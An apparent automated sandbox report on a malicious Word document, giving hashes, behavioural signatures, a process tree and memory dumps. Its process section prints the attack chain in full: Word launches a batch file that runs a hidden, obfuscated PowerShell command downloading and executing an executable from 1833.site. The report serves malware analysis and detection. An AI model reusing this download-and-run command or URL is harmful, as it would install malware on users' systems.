Analysis
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max time kernel
145s -
max time network
147s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
10-04-2024 14:52
Behavioral task
behavioral1
Sample
f0d99b7056dac946af19b50e27855b89f00550d3d8dc420a28731814a039d052.doc
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
f0d99b7056dac946af19b50e27855b89f00550d3d8dc420a28731814a039d052.doc
Resource
win10v2004-20240226-en
General
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Target
f0d99b7056dac946af19b50e27855b89f00550d3d8dc420a28731814a039d052.doc
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Size
496KB
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MD5
664104684583dcca00c6aa94b2d5e8ca
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SHA1
9b41eac0a97ab72885cd15e4d6beb93cfc55ae6d
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SHA256
f0d99b7056dac946af19b50e27855b89f00550d3d8dc420a28731814a039d052
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SHA512
aad9b61dd58fdb8e0c2bbcaf4da4e57fed86c59bfbeef4db91dbf9bc9b58aca98bd93f19c3ea27684c72bff5c8bb13efd4a1f7373db7fbe4954a87df1e3fa4ea
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SSDEEP
12288:w+ImtwTAC9FbeVlzxhSBEc4xcNUqws24z7rcr:w+qn9lANxhSSlmNPwsDPr
Malware Config
Extracted
http://1833.site/rsm1975.exe
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 1060 1864 cmd.exe WINWORD.EXE -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 1864 WINWORD.EXE 1864 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 4004 powershell.exe 4004 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 4004 powershell.exe -
Suspicious use of SetWindowsHookEx 9 IoCs
Processes:
WINWORD.EXEpid process 1864 WINWORD.EXE 1864 WINWORD.EXE 1864 WINWORD.EXE 1864 WINWORD.EXE 1864 WINWORD.EXE 1864 WINWORD.EXE 1864 WINWORD.EXE 1864 WINWORD.EXE 1864 WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
WINWORD.EXEcmd.exedescription pid process target process PID 1864 wrote to memory of 1060 1864 WINWORD.EXE cmd.exe PID 1864 wrote to memory of 1060 1864 WINWORD.EXE cmd.exe PID 1060 wrote to memory of 4004 1060 cmd.exe powershell.exe PID 1060 wrote to memory of 4004 1060 cmd.exe powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\f0d99b7056dac946af19b50e27855b89f00550d3d8dc420a28731814a039d052.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Public\Documents\seecenter.bat" "2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w h Start-BitsTransfer -Source htt`p://1833.site/rsm1975.exe -Destination C:\Users\Public\Documents\newthank.exe;C:\Users\Public\Documents\newthank.exe3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oubw0jzl.sbj.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Public\Documents\seecenter.batFilesize
166B
MD541f5c78a5340b70d2cf3c32f145091f0
SHA11c5fd0e35d67daf18ef2e3b9cead528479a2b9b9
SHA2563e156dd87d1c9b6cf773b6ff6ede0afd73a0ac70299f4a6bd03fec32c4b611d5
SHA512a8440001342996855cff18ccb2552c16e619754140bb4d091a63d6053547ad8a349dbf6fff211f765096efbcfea6d4afe87e44712f5225849808768ae40e9040
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memory/1864-22-0x00007FFE86B70000-0x00007FFE86D65000-memory.dmpFilesize
2.0MB
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memory/1864-6-0x00007FFE86B70000-0x00007FFE86D65000-memory.dmpFilesize
2.0MB
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memory/1864-3-0x00007FFE86B70000-0x00007FFE86D65000-memory.dmpFilesize
2.0MB
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memory/1864-2-0x00007FFE46BF0000-0x00007FFE46C00000-memory.dmpFilesize
64KB
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memory/1864-4-0x00007FFE46BF0000-0x00007FFE46C00000-memory.dmpFilesize
64KB
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memory/1864-5-0x00007FFE46BF0000-0x00007FFE46C00000-memory.dmpFilesize
64KB
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memory/1864-41-0x0000019552290000-0x0000019553260000-memory.dmpFilesize
15.8MB
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memory/1864-7-0x00007FFE86B70000-0x00007FFE86D65000-memory.dmpFilesize
2.0MB
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memory/1864-8-0x00007FFE86B70000-0x00007FFE86D65000-memory.dmpFilesize
2.0MB
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memory/1864-9-0x00007FFE86B70000-0x00007FFE86D65000-memory.dmpFilesize
2.0MB
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memory/1864-10-0x00007FFE44440000-0x00007FFE44450000-memory.dmpFilesize
64KB
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memory/1864-45-0x0000019552290000-0x0000019553260000-memory.dmpFilesize
15.8MB
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memory/1864-12-0x00007FFE86B70000-0x00007FFE86D65000-memory.dmpFilesize
2.0MB
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memory/1864-13-0x00007FFE86B70000-0x00007FFE86D65000-memory.dmpFilesize
2.0MB
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memory/1864-14-0x00007FFE86B70000-0x00007FFE86D65000-memory.dmpFilesize
2.0MB
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memory/1864-16-0x00007FFE86B70000-0x00007FFE86D65000-memory.dmpFilesize
2.0MB
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memory/1864-17-0x00007FFE86B70000-0x00007FFE86D65000-memory.dmpFilesize
2.0MB
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memory/1864-15-0x00007FFE44440000-0x00007FFE44450000-memory.dmpFilesize
64KB
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memory/1864-18-0x00007FFE86B70000-0x00007FFE86D65000-memory.dmpFilesize
2.0MB
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memory/1864-19-0x00007FFE86B70000-0x00007FFE86D65000-memory.dmpFilesize
2.0MB
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memory/1864-38-0x0000019552290000-0x0000019553260000-memory.dmpFilesize
15.8MB
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memory/1864-21-0x00007FFE86B70000-0x00007FFE86D65000-memory.dmpFilesize
2.0MB
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memory/1864-0-0x00007FFE46BF0000-0x00007FFE46C00000-memory.dmpFilesize
64KB
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memory/1864-25-0x00007FFE86B70000-0x00007FFE86D65000-memory.dmpFilesize
2.0MB
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memory/1864-20-0x00007FFE86B70000-0x00007FFE86D65000-memory.dmpFilesize
2.0MB
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memory/1864-1-0x00007FFE46BF0000-0x00007FFE46C00000-memory.dmpFilesize
64KB
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memory/1864-11-0x00007FFE86B70000-0x00007FFE86D65000-memory.dmpFilesize
2.0MB
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memory/1864-46-0x0000019552290000-0x0000019553260000-memory.dmpFilesize
15.8MB
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memory/1864-73-0x00007FFE86B70000-0x00007FFE86D65000-memory.dmpFilesize
2.0MB
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memory/1864-74-0x00007FFE86B70000-0x00007FFE86D65000-memory.dmpFilesize
2.0MB
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memory/1864-75-0x00007FFE86B70000-0x00007FFE86D65000-memory.dmpFilesize
2.0MB
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memory/1864-104-0x00007FFE86B70000-0x00007FFE86D65000-memory.dmpFilesize
2.0MB
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memory/1864-105-0x00007FFE86B70000-0x00007FFE86D65000-memory.dmpFilesize
2.0MB
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memory/1864-103-0x00007FFE86B70000-0x00007FFE86D65000-memory.dmpFilesize
2.0MB
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memory/1864-102-0x00007FFE46BF0000-0x00007FFE46C00000-memory.dmpFilesize
64KB
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memory/1864-101-0x00007FFE46BF0000-0x00007FFE46C00000-memory.dmpFilesize
64KB
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memory/1864-76-0x0000019552290000-0x0000019553260000-memory.dmpFilesize
15.8MB
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memory/1864-77-0x0000019552290000-0x0000019553260000-memory.dmpFilesize
15.8MB
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memory/1864-78-0x0000019552290000-0x0000019553260000-memory.dmpFilesize
15.8MB
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memory/1864-99-0x00007FFE46BF0000-0x00007FFE46C00000-memory.dmpFilesize
64KB
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memory/1864-100-0x00007FFE46BF0000-0x00007FFE46C00000-memory.dmpFilesize
64KB
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memory/4004-61-0x000001C7EC000000-0x000001C7EC026000-memory.dmpFilesize
152KB
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memory/4004-57-0x00007FFE5A540000-0x00007FFE5B001000-memory.dmpFilesize
10.8MB
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memory/4004-58-0x000001C7EC030000-0x000001C7EC052000-memory.dmpFilesize
136KB
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memory/4004-59-0x000001C7EBDF0000-0x000001C7EBE00000-memory.dmpFilesize
64KB
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memory/4004-60-0x000001C7EBDF0000-0x000001C7EBE00000-memory.dmpFilesize
64KB
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memory/4004-62-0x000001C7EC080000-0x000001C7EC094000-memory.dmpFilesize
80KB
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memory/4004-64-0x000001C7EBDF0000-0x000001C7EBE00000-memory.dmpFilesize
64KB
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memory/4004-67-0x00007FFE5A540000-0x00007FFE5B001000-memory.dmpFilesize
10.8MB